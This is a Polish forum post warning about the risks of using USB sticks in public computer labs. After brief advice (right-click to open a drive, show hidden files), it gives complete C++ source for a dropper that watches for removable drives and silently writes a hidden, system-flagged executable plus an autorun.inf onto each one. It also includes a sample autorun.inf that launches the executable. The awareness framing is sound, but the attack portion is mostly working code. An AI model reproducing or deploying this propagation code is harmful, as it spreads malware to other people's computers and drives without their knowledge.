RumcajsJumper Napisano 18 Listopada 2015 Udostępnij Napisano 18 Listopada 2015 Niewiele osób zdaje sobie sprawe jak niebezpieczne jest używanie własnego pendriva w miejscach publicznych takich jak: Biblioteki Kafejki internetowe Szkolna pracownia internetowa....Tego typu miejsca są wylęgarnią dla wszelkiego typu robactwa, nie znaczy ze mamy nie używać pendrive w takich miejscach, należy tylko zachować pewną ostrożność.Jeśli podłączamy nasz pendrive do naszego komputera po wizycie np. w bibliotece nie włączajmy go klikając na niego 2x lewym przyciskiem myszy gdyż powoduje to włączenie autorunu i infekcje naszego komputera o ile pendrive jest zarażony, dużo lepszym wyjściem jest kliknąć na niego prawym przyciskiem myszy i kliknąć otwórz- wtedy autorun się nie uruchomi. Pyzatym należy włączyć pokazywanie plików ukrytych i systemowych naszym systemie. Robimy to przez klikniecie na Narzędzia -> Opcje folderów -> Widok. Zaznaczamy tam Pokaż ukryte pliki i foldery a także odznaczamy Ukryj chronione pliki systemu windows Od teraz będziemy widzieć pliki, które ktoś umieścił na naszym pendrive bez naszej wiedzy i zgody.Pokaże teraz jak łatwo napisać program który po podłączeniu pendrive do PC automatycznie skopiuje na niego autorun + program, aby pokazać, że wcale nie jest to takie trudne i że naprawdę możemy stać się ofiarą takiego ataku.Na początku dołączamy pliki nagłówkowe takie jak: #include <windows.h> #include <string> #include <vector> Napiszmy teraz funkcje która znajdzie wszelkie pendrivy podlaczone do PC void GetPendrives(std::vector<std::string>* pendrives) { char* bufor=new char[1024]; DWORD need=GetLogicalDriveStrings(1024,bufor);//pobieramy litery dyskow if(need > 1024)//jesli bufor jest za maly alokujemy bufor o odpowiedniej dlugosci { delete bufor; bufor=new char[need]; GetLogicalDriveStrings(need,bufor); } int n=need/4; // ilosc dyskow std::string* dyski=new std::string[n]; int i=0; while(i<n) { dyski[i]=(char*)(bufor+(i*4)); i++; } pendrives->clear();//usuwamy wszystko co jest w vectorze i=0; while(i<n) { if(GetDriveType(dyski[i].c_str())==DRIVE_REMOVABLE)//sprawdzamy ktore dyski sa pendrivami { pendrives->push_back(dyski[i]); } i++; } } Teraz czas na inne potrzebne nam funkcje bool FindInVector(const char* str,std::vector<std::string> vec)//funkcja ktora sprawdza czy pojawil sie nowy pendrive { int n=vec.size(); int i=0; while(i<n) { if(vec[i]==str) { return true; } i++; } return false; } bool ExtractExe(char* id, char *filename)//funkcja wypakowujaca plik z zasobow { bool result = false;HRSRC hResource=NULL;hResource = FindResource(GetModuleHandle(NULL),id , RT_RCDATA); if(!hResource) { return result; } if( hResource != NULL ){ HGLOBAL hLoader = LoadResource(NULL,hResource); if( hLoader != NULL ){ byte *data = (byte *)LockResource(hLoader); DWORD len = SizeofResource(NULL,hResource);if( data != NULL && len > 0 ){ HANDLE hFile = CreateFile(filename, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if( hFile != INVALID_HANDLE_VALUE ){ DWORD written = 0; int write = WriteFile(hFile, data, len, &written, NULL); if( len == written && write == TRUE ) result = true; } CloseHandle(hFile); } UnlockResource(hLoader); } FreeResource(hLoader); } return result; } A ten kod umieszczamy wewnatrz main: std::vector<std::string> vec; GetPendrives(&vec); int i=0; while(i<vec.size()){ //w tym momecie wypakowujemy na wszystkie pendrivy nasz plik //przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006 std::string exe=vec[i]; std::string autorun=vec[i]; exe+="Start.exe"; autorun+="autorun.inf"; ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy i++; } std::vector<std::string> tmp; int n=0; i=0; while(1)//nieskonczona petla ktora sprawdza czy nie pojawiły się nowe pendrivy { GetPendrives(&tmp); n=tmp.size(); i=0; while(i<n) { if(!FindInVector(tmp[i].c_str(),vec)) { //w tym momecie wypakowujemy na ten dysk nasz plik //przyjmujemy ze nasz exe ma w zasobach numer 1005 a autorun 1006 std::string exe=tmp[i]; std::string autorun=tmp[i]; exe+="Start.exe"; autorun+="autorun.inf"; ExtractExe(MAKEINTRESOURCE(1005),(char*)exe.c_str());//wypakowujemy ExtractExe(MAKEINTRESOURCE(1006),(char*)autorun.c_str());//wypakowujemy SetFileAttributes(exe.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy SetFileAttributes(autorun.c_str(),FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);//ustawiamy atrybut ukryty i systemowy} i++; } vec=tmp; Sleep(10000); } Na koniec do projektu musimy dodać zasoby ale tego już nie będę tu opisywał gdyż można to znaleźć w googlePrzykładowy plik autorun: [autorun] OPEN=Start.exe shellexecute=Start.exe shell=Auto shellAuto=&Autoplay shellAutocommand=Start.exe Taki plik umieszczamy w zasobach pod numerem 1006 a plik exe, który ma być uruchamiany pod numerem 1005Mam nadzieje, że artykuł przekonał was do tego aby uważać na swoje pendrivyAutor artykułu: Grzonu (grzonu.com.pl) POSZUKUJE WSPÓLNIKÓW / OPIEKUNÓW - NA SERWERKI CS:GO! Skontaktuj się ze mną po więcej szczegółów Odnośnik do komentarza https://csowicze.pl/topic/21970-artyku%C5%82-zagro%C5%BCenia-dla-naszego-pendrive/ Udostępnij na innych stronach Więcej opcji udostępniania...
RumcajsJumper Napisano 21 Listopada 2016 Autor Udostępnij Napisano 21 Listopada 2016 Wiadomość automatyczna Temat został przeniesiony z "STREFA POMOCY → Hacking" do "Archiwum Forum → Tematy Archiwalne". POSZUKUJE WSPÓLNIKÓW / OPIEKUNÓW - NA SERWERKI CS:GO! Skontaktuj się ze mną po więcej szczegółów Odnośnik do komentarza https://csowicze.pl/topic/21970-artyku%C5%82-zagro%C5%BCenia-dla-naszego-pendrive/#findComment-203191 Udostępnij na innych stronach Więcej opcji udostępniania...
Rekomendowane odpowiedzi